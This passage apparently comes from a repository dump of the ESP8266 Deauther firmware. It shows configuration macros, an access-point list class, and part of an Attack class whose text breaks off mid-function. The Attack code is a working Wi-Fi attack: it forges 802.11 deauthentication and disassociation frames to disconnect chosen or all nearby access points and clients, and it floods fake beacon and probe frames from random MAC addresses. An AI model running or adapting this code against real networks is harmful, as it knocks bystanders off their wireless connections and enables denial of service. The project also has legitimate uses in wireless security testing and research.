PROBE_FRAMES_PER_SSID\n  #define PROBE_FRAMES_PER_SSID 1\n#endif /* ifndef PROBE_FRAMES_PER_SSID */\n\n// ===== SNIFFER ===== //\n#ifndef CH_TIME\n  #define CH_TIME 200\n#endif /* ifndef CH_TIME */\n\n#ifndef MIN_DEAUTH_FRAMES\n  #define MIN_DEAUTH_FRAMES 3\n#endif /* ifndef MIN_DEAUTH_FRAMES */\n\n// ===== ACCESS POINT ===== //\n#ifndef AP_SSID\n  #define AP_SSID \"pwned\"\n#endif /* ifndef AP_SSID */\n\n#ifndef AP_PASSWD\n  #define AP_PASSWD \"deauther\"\n#endif /* ifndef AP_PASSWD */\n\n#ifndef AP_HIDDEN\n  #define AP_HIDDEN false\n#endif /* ifndef AP_HIDDEN */\n\n#ifndef AP_IP_ADDR\n  #define AP_IP_ADDR { 192, 168, 4, 1 }\n#endif /* ifndef AP_IP_ADDR */\n\n// ===== WEB INTERFACE ===== //\n#ifndef WEB_ENABLED\n  #define WEB_ENABLED true\n#endif /* ifndef WEB_ENABLED */\n\n#ifndef WEB_CAPTIVE_PORTAL\n  #define WEB_CAPTIVE_PORTAL false\n#endif /* ifndef WEB_CAPTIVE_PORTAL */\n\n#ifndef WEB_USE_SPIFFS\n  #define WEB_USE_SPIFFS false\n#endif /* ifndef WEB_USE_SPIFFS */\n\n#ifndef DEFAULT_LANG\n  #define DEFAULT_LANG \"en\"\n#endif /* ifndef DEFAULT_LANG */\n\n// ===== CLI ===== //\n#ifndef CLI_ENABLED\n  #define CLI_ENABLED true\n#endif /* ifndef CLI_ENABLED */\n\n#ifndef CLI_ECHO\n  #define CLI_ECHO true\n#endif /* ifndef CLI_ECHO */\n\n// =============== LED =============== //\n#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB)\n  #define LED_NEOPIXEL\n#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */\n\n#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)\n  #define LED_DIGITAL\n  #define USE_LED false\n#else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)\n  #define USE_LED true\n#endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)\n\n#ifndef LED_PIN_R\n  #define LED_PIN_R 255\n#endif /* ifndef LED_PIN_R */\n\n#ifndef LED_PIN_G\n  #define LED_PIN_G 255\n#endif /* ifndef LED_PIN_G */\n\n#ifndef LED_PIN_B\n  #define LED_PIN_B 255\n#endif /* ifndef LED_PIN_B */\n\n#ifndef LED_ANODE\n  #define LED_ANODE false\n#endif /* ifndef LED_ANODE */\n\n#ifndef LED_MODE_OFF\n  #define LED_MODE_OFF 0, 0, 0\n#endif /* ifndef LED_MODE_OFF */\n\n#ifndef LED_MODE_SCAN\n  #define LED_MODE_SCAN 0, 0, 255\n#endif /* ifndef LED_MODE_SCAN */\n\n#ifndef LED_MODE_ATTACK\n  #define LED_MODE_ATTACK 255, 0, 0\n#endif /* ifndef LED_MODE_ATTACK */\n\n#ifndef LED_MODE_IDLE\n  #define LED_MODE_IDLE 0, 255, 0\n#endif /* ifndef LED_MODE_IDLE */\n\n#ifndef LED_MODE_BRIGHTNESS\n  #define LED_MODE_BRIGHTNESS 10\n#endif /* ifndef LED_MODE_BRIGHTNESS */\n\n// =============== DISPLAY =============== //\n\n#ifndef DISPLAY_TIMEOUT\n  #define DISPLAY_TIMEOUT 600\n#endif /* ifndef DISPLAY_TIMEOUT */\n\n#ifndef DISPLAY_TEXT\n  #define DISPLAY_TEXT \"\"\n#endif /* ifndef DISPLAY_TEXT */\n\n#ifndef FLIP_DIPLAY\n  #define FLIP_DIPLAY false\n#endif /* ifndef FLIP_DIPLAY */\n\n#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI)\n  #define SSD1306_I2C\n  #define USE_DISPLAY false\n#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */\n  #define USE_DISPLAY true\n#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */\n\n#ifndef I2C_ADDR\n  #define I2C_ADDR 0x3C\n#endif /* ifndef I2C_ADDR */\n\n#ifndef I2C_SDA\n  #define I2C_SDA 5\n#endif /* ifndef I2C_SDA */\n\n#ifndef I2C_SCL\n  #define I2C_SCL 4\n#endif /* ifndef I2C_SCL */\n\n#ifndef SPI_RES\n  #define SPI_RES 5\n#endif /* ifndef SPI_RES */\n\n#ifndef SPI_DC\n  #define SPI_DC 4\n#endif /* ifndef SPI_DC */\n\n#ifndef SPI_CS\n  #define SPI_CS 15\n#endif /* ifndef SPI_CS */\n\n// =============== BUTTONS =============== //\n#ifndef BUTTON_UP\n  #define BUTTON_UP 255\n#endif // ifndef BUTTON_UP\n\n#ifndef BUTTON_DOWN\n  #define BUTTON_DOWN 255\n#endif // ifndef BUTTON_DOWN\n\n#ifndef BUTTON_A\n  #define BUTTON_A 255\n#endif // ifndef BUTTON_A\n\n#ifndef BUTTON_B\n  #define BUTTON_B 255\n#endif // ifndef BUTTON_B\n\n// ===== Reset ====== //\n#ifndef RESET_BUTTON\n  #if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0\n    #define RESET_BUTTON 0\n  #else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0\n    #define RESET_BUTTON 255\n  #endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0\n#endif // ifndef RESET_BUTTON\n\n// ===== Web ===== //\n#ifndef WEB_IP_ADDR\n  #define WEB_IP_ADDR (192, 168, 4, 1)\n#endif // ifndef WEB_IP_ADDR\n\n#ifndef WEB_URL\n  #define WEB_URL \"deauth.me\"\n#endif // ifndef WEB_URL\n\n// ======== CONSTANTS ========== //\n// Do not change these values unless you know what you're doing!\n#define DEAUTHER_VERSION \"2.6.1\"\n#define DEAUTHER_VERSION_MAJOR 2\n#define DEAUTHER_VERSION_MINOR 6\n#define DEAUTHER_VERSION_REVISION 1\n\n#define EEPROM_SIZE 4095\n#define BOOT_COUNTER_ADDR 1\n#define SETTINGS_ADDR 100\n\n// ======== AVAILABLE SETTINGS ========== //\n\n\n/*\n   // ===== ATTACK ===== //\n #define ATTACK_ALL_CH false\n #define RANDOM_TX false\n #define ATTACK_TIMEOUT 600\n #define DEAUTHS_PER_TARGET 25\n #define DEAUTH_REASON 1\n #define BEACON_INTERVAL_100MS true\n #define PROBE_FRAMES_PER_SSID 1\n\n   // ====== SNIFFER ====== //\n #define CH_TIME 200\n #define MIN_DEAUTH_FRAMES 3\n\n   // ===== ACCESS POINT ===== //\n #define AP_SSID \"pwned\"\n #define AP_PASSWD \"deauther\"\n #define AP_HIDDEN false\n #define AP_IP_ADDR {192, 168, 4, 1}\n\n   // ===== WEB INTERFACE ===== //\n #define WEB_ENABLED true\n #define WEB_CAPTIVE_PORTAL false\n #define WEB_USE_SPIFFS false\n #define DEFAULT_LANG \"en\"\n\n   // ===== CLI ===== //\n #define CLI_ENABLED true\n #define CLI_ECHO true\n\n   // ===== LED ===== //\n #define USE_LED true\n #define LED_DIGITAL\n #define LED_RGB\n #define LED_NEOPIXEL\n #define LED_MY92\n\n #define LED_ANODE false\n\n #define LED_PIN_R 16\n #define LED_PIN_G 255\n #define LED_PIN_B 2\n\n #define LED_NEOPIXEL_RGB\n #define LED_NEOPIXEL_GRB\n\n #define LED_NUM 1\n #define LED_NEOPIXEL_PIN 255\n\n #define LED_MODE_OFF 0,0,0\n #define LED_MODE_SCAN 0,0,255\n #define LED_MODE_ATTACK 255,0,0\n #define LED_MODE_IDLE 0,255,0\n #define LED_MODE_BRIGHTNESS 10\n\n #define LED_NUM 1\n #define LED_MY92_DATA 4\n #define LED_MY92_CLK 5\n #define LED_MY92_CH_R 0\n #define LED_MY92_CH_G 1\n #define LED_MY92_CH_B 2\n #define LED_MY92_CH_BRIGHTNESS 3\n #define LED_MY92_MODEL MY92XX_MODEL_MY9291\n #define LED_MY92_MODEL MY92XX_MODEL_MY9231\n\n #define LED_DOTSTAR\n #define LED_NUM 1\n #define LED_DOTSTAR_CLK 12\n #define LED_DOTSTAR_DATA 13\n\n   // ===== DISPLAY ===== //\n #define USE_DISPLAY false\n #define DISPLAY_TIMEOUT 600\n #define FLIP_DIPLAY false\n\n #define SSD1306_I2C\n #define SSD1306_SPI\n #define SH1106_I2C\n #define SH1106_SPI\n\n #define I2C_ADDR 0x3C\n #define I2C_SDA 5\n #define I2C_SCL 4\n\n #define SPI_RES 5\n #define SPI_DC 4\n #define SPI_CS 15\n\n   // ===== BUTTONS ===== //\n #define BUTTON_UP 255\n #define BUTTON_DOWN 255\n #define BUTTON_A 255\n #define BUTTON_B 255\n\n   // ===== Reset ====== //\n #define RESET_BUTTON 5\n\n\n   // ===== Web ===== //\n #define WEB_IP_ADDR (192, 168, 4, 1)\n #define WEB_URL \"deauth.me\"\n\n */\n\n\n// ========== ERROR CHECKS ========== //\n#if LED_MODE_BRIGHTNESS == 0\n#error LED_MODE_BRIGHTNESS must not be zero!\n#endif /* if LED_MODE_BRIGHTNESS == 0 */"
  },
  {
    "path": "esp8266_deauther/Accesspoints.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Accesspoints.h\"\n\nAccesspoints::Accesspoints() {\n    list = new SimpleList<AP>;\n}\n\nvoid Accesspoints::sort() {\n    list->setCompare([](AP& a, AP& b) -> int {\n        if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;\n\n        if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;\n\n        return 1;\n    });\n    list->sort();\n    changed = true;\n}\n\nvoid Accesspoints::sortAfterChannel() {\n    list->setCompare([](AP& a, AP& b) -> int {\n        if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;\n\n        if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;\n\n        return 1;\n    });\n    list->sort();\n    changed = true;\n}\n\nvoid Accesspoints::add(uint8_t id, bool selected) {\n    list->add(AP{ id, selected });\n    changed = true;\n}\n\nvoid Accesspoints::printAll() {\n    prntln(AP_HEADER);\n    int c = count();\n\n    if (c == 0) prntln(AP_LIST_EMPTY);\n    else\n        for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);\n}\n\nvoid Accesspoints::printSelected() {\n    prntln(AP_HEADER);\n    int max = selected();\n\n    if (selected() == 0) {\n        prntln(AP_NO_AP_SELECTED);\n        return;\n    }\n    int c = count();\n    int j = 0;\n\n    for (int i = 0; i < c && j < max; i++) {\n        if (getSelected(i)) {\n            print(i, j == 0, j == max - 1);\n            j++;\n        }\n    }\n}\n\nvoid Accesspoints::print(int num) {\n    print(num, true, true);\n}\n\nvoid Accesspoints::print(int num, bool header, bool footer) {\n    if (!check(num)) return;\n\n    if (header) {\n        prntln(AP_TABLE_HEADER);\n        prntln(AP_TABLE_DIVIDER);\n    }\n    prnt(leftRight(String(), (String)num, 2));\n    prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));\n    prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));\n    prnt(leftRight(String(SPACE), (String)getCh(num), 3));\n    prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));\n    prnt(leftRight(String(SPACE), getEncStr(num), 5));\n    prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));\n    prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));\n    prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));\n\n    if (footer) {\n        prntln(AP_TABLE_DIVIDER);\n    }\n}\n\nString Accesspoints::getSSID(int num) {\n    if (!check(num)) return String();\n\n    if (getHidden(num)) {\n        return str(AP_HIDDE_SSID);\n    } else {\n        String ssid = WiFi.SSID(getID(num));\n        ssid = ssid.substring(0, 32);\n        ssid = fixUtf8(ssid);\n        return ssid;\n    }\n}\n\nString Accesspoints::getNameStr(int num) {\n    if (!check(num)) return String();\n\n    return names.find(getMac(num));\n}\n\nuint8_t Accesspoints::getCh(int num) {\n    if (!check(num)) return 0;\n\n    return WiFi.channel(getID(num));\n}\n\nint Accesspoints::getRSSI(int num) {\n    if (!check(num)) return 0;\n\n    return WiFi.RSSI(getID(num));\n}\n\nuint8_t Accesspoints::getEnc(int num) {\n    if (!check(num)) return 0;\n\n    return WiFi.encryptionType(getID(num));\n}\n\nString Accesspoints::getEncStr(int num) {\n    if (!check(num)) return String();\n\n    switch (getEnc(num)) {\n        case ENC_TYPE_NONE:\n            return String(DASH);\n\n            break;\n\n        case ENC_TYPE_WEP:\n            return str(AP_WEP);\n\n            break;\n\n        case ENC_TYPE_TKIP:\n            return str(AP_WPA);\n\n            break;\n\n        case ENC_TYPE_CCMP:\n            return str(AP_WPA2);\n\n            break;\n\n        case ENC_TYPE_AUTO:\n            return str(AP_AUTO);\n\n            break;\n    }\n    return String(QUESTIONMARK);\n}\n\nString Accesspoints::getSelectedStr(int num) {\n    return b2a(getSelected(num));\n}\n\nuint8_t* Accesspoints::getMac(int num) {\n    if (!check(num)) return 0;\n\n    return WiFi.BSSID(getID(num));\n}\n\nString Accesspoints::getMacStr(int num) {\n    if (!check(num)) return String();\n\n    uint8_t* mac = getMac(num);\n\n    return bytesToStr(mac, 6);\n}\n\nString Accesspoints::getVendorStr(int num) {\n    if (!check(num)) return String();\n\n    return searchVendor(getMac(num));\n}\n\nbool Accesspoints::getHidden(int num) {\n    if (!check(num)) return false;\n\n    return WiFi.isHidden(getID(num));\n}\n\nbool Accesspoints::getSelected(int num) {\n    if (!check(num)) return false;\n\n    return list->get(num).selected;\n}\n\nuint8_t Accesspoints::getID(int num) {\n    if (!check(num)) return -1;\n\n    return list->get(num).id;\n}\n\nvoid Accesspoints::select(int num) {\n    if (!check(num)) return;\n\n    internal_select(num);\n\n    prnt(AP_SELECTED);\n    prntln(getSSID(num));\n\n    changed = true;\n}\n\nvoid Accesspoints::deselect(int num) {\n    if (!check(num)) return;\n\n    internal_deselect(num);\n\n    prnt(AP_DESELECTED);\n    prntln(getSSID(num));\n\n    changed = true;\n}\n\nvoid Accesspoints::remove(int num) {\n    if (!check(num)) return;\n\n    prnt(AP_REMOVED);\n    prntln(getSSID(num));\n\n    internal_remove(num);\n\n    changed = true;\n}\n\nvoid Accesspoints::select(String ssid) {\n    for (int i = 0; i < list->size(); i++) {\n        if (getSSID(i).equalsIgnoreCase(ssid)) select(i);\n    }\n}\n\nvoid Accesspoints::deselect(String ssid) {\n    for (int i = 0; i < list->size(); i++) {\n        if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);\n    }\n}\n\nvoid Accesspoints::remove(String ssid) {\n    for (int i = 0; i < list->size(); i++) {\n        if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);\n    }\n}\n\nvoid Accesspoints::selectAll() {\n    for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });\n    prntln(AP_SELECTED_ALL);\n    changed = true;\n}\n\nvoid Accesspoints::deselectAll() {\n    for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });\n    prntln(AP_DESELECTED_ALL);\n    changed = true;\n}\n\nvoid Accesspoints::removeAll() {\n    while (count() > 0) internal_remove(0);\n    prntln(AP_REMOVED_ALL);\n    changed = true;\n}\n\nint Accesspoints::find(uint8_t id) {\n    int s = list->size();\n\n    for (int i = 0; i < s; i++) {\n        if (list->get(i).id == id) return i;\n    }\n    return -1;\n}\n\nint Accesspoints::count() {\n    return list->size();\n}\n\nint Accesspoints::selected() {\n    int c = 0;\n\n    for (int i = 0; i < list->size(); i++) c += list->get(i).selected;\n    return c;\n}\n\nbool Accesspoints::check(int num) {\n    if (internal_check(num)) return true;\n\n    prnt(AP_NO_AP_ERROR);\n    prntln((String)num);\n    return false;\n}\n\nbool Accesspoints::internal_check(int num) {\n    return num >= 0 && num < count();\n}\n\nvoid Accesspoints::internal_select(int num) {\n    list->replace(num, AP{ list->get(num).id, true });\n}\n\nvoid Accesspoints::internal_deselect(int num) {\n    list->replace(num, AP{ list->get(num).id, false });\n}\n\nvoid Accesspoints::internal_remove(int num) {\n    list->remove(num);\n}"
  },
  {
    "path": "esp8266_deauther/Accesspoints.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"Arduino.h\"\n#include <ESP8266WiFi.h>\nextern \"C\" {\n  #include \"user_interface.h\"\n}\n#include \"language.h\"\n#include \"SimpleList.h\"\n#include \"Names.h\"\n\nextern Names names;\n\nextern String searchVendor(uint8_t* mac);\nextern String leftRight(String a, String b, int len);\nextern String fixUtf8(String str);\nextern String bytesToStr(const uint8_t* b, uint32_t size);\n\nstruct AP {\n    uint8_t id;\n    bool    selected;\n};\n\nclass Accesspoints {\n    public:\n        Accesspoints();\n\n        void sort();\n        void sortAfterChannel();\n\n        void add(uint8_t id, bool selected);\n\n        void print(int num);\n        void print(int num, bool header, bool footer);\n\n        void select(int num);\n        void deselect(int num);\n        void remove(int num);\n        void select(String ssid);\n        void deselect(String ssid);\n        void remove(String ssid);\n\n        void printAll();\n        void printSelected();\n        void selectAll();\n        void deselectAll();\n        void removeAll();\n\n        String getSSID(int num);\n        String getNameStr(int num);\n        String getEncStr(int num);\n        String getMacStr(int num);\n        String getVendorStr(int num);\n        String getSelectedStr(int num);\n        uint8_t getCh(int num);\n        uint8_t getEnc(int num);\n        uint8_t getID(int num);\n        int getRSSI(int num);\n        uint8_t* getMac(int num);\n        bool getHidden(int num);\n        bool getSelected(int num);\n\n        int find(uint8_t id);\n\n        int count();\n        int selected();\n\n        bool check(int num);\n        bool changed = false;\n\n    private:\n        SimpleList<AP>* list;\n\n        bool internal_check(int num);\n        void internal_select(int num);\n        void internal_deselect(int num);\n        void internal_remove(int num);\n};"
  },
  {
    "path": "esp8266_deauther/Attack.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Attack.h\"\n\n#include \"settings.h\"\n\nAttack::Attack() {\n    getRandomMac(mac);\n\n    if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) {\n        // 1s beacon interval\n        beaconPacket[32] = 0xe8;\n        beaconPacket[33] = 0x03;\n    } else {\n        // 100ms beacon interval\n        beaconPacket[32] = 0x64;\n        beaconPacket[33] = 0x00;\n    }\n\n    deauth.time = currentTime;\n    beacon.time = currentTime;\n    probe.time  = currentTime;\n}\n\nvoid Attack::start() {\n    stop();\n    prntln(A_START);\n    attackTime      = currentTime;\n    attackStartTime = currentTime;\n    accesspoints.sortAfterChannel();\n    stations.sortAfterChannel();\n    running = true;\n}\n\nvoid Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {\n    Attack::beacon.active = beacon;\n    Attack::deauth.active = deauth || deauthAll;\n    Attack::deauthAll     = deauthAll;\n    Attack::probe.active  = probe;\n\n    Attack::output  = output;\n    Attack::timeout = timeout;\n\n    // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&\n    // scan.countSelected() > 0)){\n    if (beacon || probe || deauthAll || deauth) {\n        start();\n    } else {\n        prntln(A_NO_MODE_ERROR);\n        accesspoints.sort();\n        stations.sort();\n        stop();\n    }\n}\n\nvoid Attack::stop() {\n    if (running) {\n        running              = false;\n        deauthPkts           = 0;\n        beaconPkts           = 0;\n        probePkts            = 0;\n        deauth.packetCounter = 0;\n        beacon.packetCounter = 0;\n        probe.packetCounter  = 0;\n        deauth.maxPkts       = 0;\n        beacon.maxPkts       = 0;\n        probe.maxPkts        = 0;\n        packetRate           = 0;\n        deauth.tc            = 0;\n        beacon.tc            = 0;\n        probe.tc             = 0;\n        deauth.active        = false;\n        beacon.active        = false;\n        probe.active         = false;\n        prntln(A_STOP);\n    }\n}\n\nbool Attack::isRunning() {\n    return running;\n}\n\nvoid Attack::updateCounter() {\n    // stop when timeout is active and time is up\n    if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {\n        prntln(A_TIMEOUT);\n        stop();\n        return;\n    }\n\n    // deauth packets per second\n    if (deauth.active) {\n        if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target *\n                                        (accesspoints.count() + stations.count() * 2 - names.selected());\n        else deauth.maxPkts = settings::getAttackSettings().deauths_per_target *\n                              (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());\n    } else {\n        deauth.maxPkts = 0;\n    }\n\n    // beacon packets per second\n    if (beacon.active) {\n        beacon.maxPkts = ssids.count();\n\n        if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10;\n    } else {\n        beacon.maxPkts = 0;\n    }\n\n    // probe packets per second\n    if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid;\n    else probe.maxPkts = 0;\n\n    // random transmission power\n    if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21));\n    else setOutputPower(20.5f);\n\n    // reset counters\n    deauthPkts           = deauth.packetCounter;\n    beaconPkts           = beacon.packetCounter;\n    probePkts            = probe.packetCounter;\n    packetRate           = tmpPacketRate;\n    deauth.packetCounter = 0;\n    beacon.packetCounter = 0;\n    probe.packetCounter  = 0;\n    deauth.tc            = 0;\n    beacon.tc            = 0;\n    probe.tc             = 0;\n    tmpPacketRate        = 0;\n}\n\nvoid Attack::status() {\n    char s[120];\n\n    sprintf(s, str(\n                A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,\n            probe.maxPkts);\n    prnt(String(s));\n}\n\nString Attack::getStatusJSON() {\n    String json = String(OPEN_BRACKET);                                                                          // [\n\n    json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +\n            String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],\n    json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(\n        beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA);            // [false,0,0,0],\n    json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(\n        probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA);              // [false,0,0,0],\n    json += String(packetRate);                                                                                  // 0\n    json += CLOSE_BRACKET;                                                                                       // ]\n\n    return json;\n}\n\nvoid Attack::update() {\n    if (!running || scan.isScanning()) return;\n\n    apCount = accesspoints.count();\n    stCount = stations.count();\n    nCount  = names.count();\n\n    // run/update all attacks\n    deauthUpdate();\n    deauthAllUpdate();\n    beaconUpdate();\n    probeUpdate();\n\n    // each second\n    if (currentTime - attackTime > 1000) {\n        attackTime = currentTime; // update time\n        updateCounter();\n\n        if (output) status();     // status update\n        getRandomMac(mac);        // generate new random mac\n    }\n}\n\nvoid Attack::deauthUpdate() {\n    if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {\n        if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {\n            // APs\n            if ((apCount > 0) && (deauth.tc < apCount)) {\n                if (accesspoints.getSelected(deauth.tc)) {\n                    deauth.tc += deauthAP(deauth.tc);\n                } else deauth.tc++;\n            }\n\n            // Stations\n            else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {\n                if (stations.getSelected(deauth.tc - apCount)) {\n                    deauth.tc += deauthStation(deauth.tc - apCount);\n                } else deauth.tc++;\n            }\n\n            // Names\n            else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {\n                if (names.getSelected(deauth.tc - stCount - apCount)) {\n                    deauth.tc += deauthName(deauth.tc - stCount - apCount);\n                } else deauth.tc++;\n            }\n\n            // reset counter\n            if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;\n        }\n    }\n}\n\nvoid Attack::deauthAllUpdate() {\n    if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {\n        if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {\n            // APs\n            if ((apCount > 0) && (deauth.tc < apCount)) {\n                tmpID = names.findID(accesspoints.getMac(deauth.tc));\n\n                if (tmpID < 0) {\n                    deauth.tc += deauthAP(deauth.tc);\n                } else if (!names.getSelected(tmpID)) {\n                    deauth.tc += deauthAP(deauth.tc);\n                } else deauth.tc++;\n            }\n\n            // Stations\n            else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {\n                tmpID = names.findID(stations.getMac(deauth.tc - apCount));\n\n                if (tmpID < 0) {\n                    deauth.tc += deauthStation(deauth.tc - apCount);\n                } else if (!names.getSelected(tmpID)) {\n                    deauth.tc += deauthStation(deauth.tc - apCount);\n                } else deauth.tc++;\n            }\n\n            // Names\n            else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {\n                if (!names.getSelected(deauth.tc - apCount - stCount)) {\n                    deauth.tc += deauthName(deauth.tc - apCount - stCount);\n                } else deauth.tc++;\n            }\n\n            // reset counter\n            if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;\n        }\n    }\n}\n\nvoid Attack::probeUpdate() {\n    if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {\n        if (probe.time <= currentTime - (1000 / probe.maxPkts)) {\n            if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true);\n            probe.tc += sendProbe(probe.tc);\n\n            if (probe.tc >= ssids.count()) probe.tc = 0;\n        }\n    }\n}\n\nvoid Attack::beaconUpdate() {\n    if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {\n        if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {\n            beacon.tc += sendBeacon(beacon.tc);\n\n            if (beacon.tc >= ssids.count()) beacon.tc = 0;\n        }\n    }\n}\n\nbool Attack::deauthStation(int num) {\n    return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num));\n}\n\nbool Attack::deauthAP(int num) {\n    return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num));\n}\n\nbool Attack::deauthName(int num) {\n    if (names.isStation(num)) {\n        return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num));\n    } else {\n        return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num));\n    }\n}\n\nbool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {\n    if (!stMac) return false;  // exit when station mac is null\n\n    // Serial.println(\"Deauthing \"+macToStr(apMac)+\" -> \"+macToStr(stMac)); // for debugging\n\n    bool success = false;\n\n    // build deauth packet\n    packetSize = sizeof(deauthPacket);\n\n    uint8_t deauthpkt[packetSize];\n\n    memcpy(deauthpkt, deauthPacket, packetSize);\n\n    memcpy(&deauthpkt[4], stMac, 6);\n    memcpy(&deauthpkt[10], apMac, 6);\n    memcpy(&deauthpkt[16], apMac, 6);\n    deauthpkt[24] = reason;\n\n    // send deauth frame\n    deauthpkt[0] = 0xc0;\n\n    if (sendPacket(deauthpkt, packetSize, ch, true)) {\n        success = true;\n        deauth.packetCounter++;\n    }\n\n    // send disassociate frame\n    uint8_t disassocpkt[packetSize];\n\n    memcpy(disassocpkt, deauthpkt, packetSize);\n\n    disassocpkt[0] = 0xa0;\n\n    if (sendPacket(disassocpkt, packetSize, ch, false)) {\n        success = true;\n        deauth.packetCounter++;\n    }\n\n    // send another packet, this time from the station to the accesspoint\n    if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast\n        // build deauth packet\n        memcpy(&disassocpkt[4], apMac, 6);\n        memcpy(&disassocpkt[10], stMac, 6);\n        memcpy(&disassocpkt[16], stMac, 6);\n\n        // send deauth frame\n        disassocpkt[0] = 0xc0;\n\n        if (sendPacket(disassocpkt, packetSize, ch, false)) {\n            success = true;\n            deauth.packetCounter++;\n        }\n\n        // send disassociate frame\n        disassocpkt[0] = 0xa0;\n\n        if (sendPacket(disassocpkt, packetSize, ch, false)) {\n            success = true;\n            deauth.packetCounter++;\n        }\n    }\n\n    if (success) deauth.time = currentTime;\n\n    return success;\n}\n\nbool Attack::sendBeacon(uint8_t tc) {\n    if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);\n    mac[5] = tc;\n    return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));\n}\n\nbool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {\n    packetSize = sizeof(beaconPacket);\n\n    if (wpa2) {\n        beaconPacket[34] = 0x31;\n    } else {\n        beaconPacket[34] = 0x21;\n        packetSize      -= 26;\n    }\n\n    int ssidLen = strlen(ssid);\n\n    if (ssidLen > 32) ssidLen = 32;\n\n    memcpy(&beaconPacket[10], mac, 6);\n    memcpy(&beaconPacket[16], mac, 6);\n    